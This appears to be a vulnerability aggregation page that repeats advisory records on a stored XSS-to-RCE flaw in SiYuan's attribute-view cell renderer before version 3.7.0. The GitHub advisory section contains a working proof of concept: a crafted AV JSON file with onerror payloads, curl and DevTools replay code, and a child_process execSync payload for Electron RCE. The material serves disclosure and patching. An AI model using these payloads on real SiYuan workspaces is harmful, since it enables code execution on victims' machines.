SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.

Source published

24 Jun 2026 21:19:16 UTC

Source modified

25 Jun 2026 23:12:30 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.

Source published

Jun 24, 2026, 9:19:16 PM (timezone not stated)

Source modified

Jun 25, 2026, 11:12:30 PM (timezone not stated)

Observed here

7 Nov 2026 12:28:41 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.

Source published

24 Jun 2026 22:16:48 UTC

Source modified

25 Oct 2026 23:10:00 UTC

Observed here

27 Oct 2026 14:13:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Summary The attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `</textarea><img src=x onerror="...">` or `"><img src=x onerror="...">` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require('child_process')`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row. The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`. Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data. ### Details Affected: - HEAD `96dfe0b` (v3.6.5, 2026-04-21) - Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw. - Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`. - Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/<avID>.json`. - Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file. - Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`. #### The sink `app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted: ```ts export const genAVValueHTML = (value: IAVCellValue) => { let html = ""; switch (value.type) { case "block": // escaped via escapeAttr — safe html = `<input ... value="${escapeAttr(value.block.content)}" ...>`; break; case "text": // value.text.content goes raw into a <textarea> html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`; break; case "url": // value.url.content goes raw into value="..." and href="..." html = `<input value="${value.url.content}" ...> <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`; break; case "phone": // same pattern as url html = `<input value="${value.phone.content}" ...> <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`; break; case "mAsset": value.mAsset?.forEach(item => { if (item.type === "image") { // item.content raw inside aria-label html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`; } else { // attributes escaped, but ${item.name || item.content} text-node is raw html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`; } }); break; // other cases use escapeHtml / escapeAttr correctly } return html; }; ``` `escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren't applied in the four branches above. Callers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`: ```ts if (item.classList.contains("custom-attr__avvalue")) { item.innerHTML = genAVValueHTML(cellValue); } ``` #### The write path A grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing: ``` grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go # (no output) ``` For comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent. #### Storage and sync AV files live at `data/storage/av/<avID>.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers. #### Suggested fix The renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`: ```ts case "text": html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`; break; case "url": html = `<input value="${escapeAttr(value.url.content)}" ...> <a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`; break; case "phone": html = `<input value="${escapeAttr(value.phone.content)}" ...> <a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`; break; case "mAsset": // escape item.name and item.content in the text-node positions, not just inside attributes ``` The `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you're in there. Backend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces. ### PoC Stand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`: ```bash docker run -d --name siyuan-poc \ -v ./workspace:/siyuan/workspace \ -p 16806:6806 \ b3log/siyuan:latest \ --workspace=/siyuan/workspace --accessAuthCode=hunter2 ``` Minimum viable AV JSON: ```json { "spec": 2, "id": "20260519999999-poctest", "name": "PocAV", "keyValues": [ { "key": {"id": "...keyblok", "name": "Block", "type": "block"}, "values": [{ "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk", "type": "block", "isDetached": true, "block": {"id": "...row1blk", "content": "Row 1"} }] }, { "key": {"id": "...keytext", "name": "TextField", "type": "text"}, "values": [{ "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk", "type": "text", "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"} }] }, { "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"}, "values": [{ "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk", "type": "url", "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"} }] } ] } ``` In a real attack the file gets there via sync, not by hand. Confirm the API returns the cell content raw: ```bash TOKEN=$(jq -r '.api.token' workspace/conf/conf.json) curl -s -X POST http://localhost:16806/api/av/getAttributeView \ -H "Authorization: Token $TOKEN" \ -d '{"id":"20260519999999-poctest"}' \ | python3 -m json.tool | grep -E '"content":' ``` Output from my run on 2026-05-19: ``` "content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">" "content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">" ``` `</textarea>` and `">` come back literal, no escape. In the Siyuan renderer's DevTools: ```js const res = await fetch('/api/av/getAttributeView', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({id: '20260519999999-poctest'}) }); const json = await res.json(); let textValue = null, urlValue = null; for (const kv of json.data.av.keyValues) { for (const v of kv.values || []) { if (v.type === 'text' && v.text) textValue = v; if (v.type === 'url' && v.url) urlValue = v; } } // Replay the actual genAVValueHTML branches verbatim. const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`; const urlHTML = `<input value="${urlValue.url.content}">`; const div = document.createElement('div'); div.innerHTML = textHTML + urlHTML; await new Promise(r => setTimeout(r, 250)); console.log({ textMarkerFired: window.__siyuan_av_xss === 'FIRED', urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED', imgsInDiv: div.querySelectorAll('img').length, title: document.title }); ``` Output from my run: ```json { "textMarkerFired": true, "urlMarkerFired": true, "imgsInDiv": 3, "title": "AV_TEXT_XSS_OK" } ``` `</textarea>` and `">` both broke out, the smuggled `<img>` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row. To turn it into RCE on Electron, swap the marker payload for: ```html <img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')"> ``` `require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`. ### Impact Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds. The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required. Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

Source published

10 Jul 2026 19:34:53 UTC

Source modified

21 Jul 2026 19:19:18 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML() in github.com/siyuan-note/siyuan/kernel

Source published

17 Jul 2026 19:42:05 UTC

Source modified

21 Jul 2026 19:15:26 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.